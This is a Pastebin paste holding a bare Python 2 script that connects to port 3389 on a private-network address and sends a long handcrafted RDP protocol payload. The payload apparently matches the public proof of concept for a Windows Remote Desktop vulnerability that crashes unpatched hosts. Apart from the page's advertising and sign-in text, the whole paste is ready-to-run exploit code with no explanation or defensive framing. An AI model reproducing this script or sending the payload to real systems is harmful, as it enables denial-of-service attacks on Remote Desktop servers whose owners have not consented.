Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- HOST = '192.168.0.106' # The remote host
- PORT = 3389
- payload = '''\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\
- \x00\x00\x00\x03\x00\x01\xd6\x02\xf0\x80\x7fe\x82\x01\x94\x04\x01\x01\x04\x01\
- \x01\x01\x01\xff0\x19\x02\x04\x00\x00\x00\x00\x02\x04\x00\x00\x00\x02\x02\x04\
- \x00\x00\x00\x00\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x00\x02\x04\x00\
- \x00\x00\x01\x02\x02\xff\xff\x02\x04\x00\x00\x00\x020\x19\x02\x04\x00\x00\x00\
- \x01\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x01\x02\x04\x00\x00\x00\x01\
- \x02\x04\x00\x00\x00\x00\x02\x04\x00\x00\x00\x01\x02\x02\x04 \x02\x04\x00\x00\
- \x00\x020\x1c\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x04\x00\x00\
- \x00\x01\x02\x04\x00\x00\x00\x00\x02\x04\x00\x00\x00\x01\x02\x02\xff\xff\x02\
- \x04\x00\x00\x00\x02\x04\x82\x013\x00\x05\x00\x14|\x00\x01\x81*\x00\x08\x00\
- \x10\x00\x01\xc0\x00Duca\x81\x1c\x01\xc0\xd8\x00\x04\x00\x08\x00\x80\x02\xe0\
- \x01\x01\xca\x03\xaa\t\x04\x00\x00\xce\x0e\x00\x00H\x00O\x00S\x00T\x00\x00\x00\
- \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
- \x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\
- \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
- \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
- \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
- \x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x10\x00\x07\x00\x01\x000\x000\
- \x000\x000\x000\x00-\x000\x000\x000\x00-\x000\x000\x000\x000\x000\x000\x000\
- \x00-\x000\x000\x000\x000\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
- \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xc0\x0c\x00\r\
- \x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\
- \x03\xc0,\x00\x03\x00\x00\x00rdpdr\x00\x00\x00\x00\x00\x80\x80cliprdr\x00\x00\
- \x00\xa0\xc0rdpsnd\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\
- \x00\x01\x00\x03\x00\x00\x08\x02\xf0\x80(\x03\x00\x00\x0c\x02\xf0\x808\x00\
- \x06\x03\xef\x03\x00\x00\x0c\x02\xf0\x808\x00\x06\x03\xeb\x03\x00\x00\x0c\
- \x02\xf0\x808\x00\x06\x03\xec\x03\x00\x00\x0c\x02\xf0\x808\x00\x06\x03\xed\
- \x03\x00\x00\x0c\x02\xf0\x808\x00\x06\x03\xee'''
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((HOST, PORT))
- s.sendall(payload)
- data = s.recv(4096)
- print repr(data)
- s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement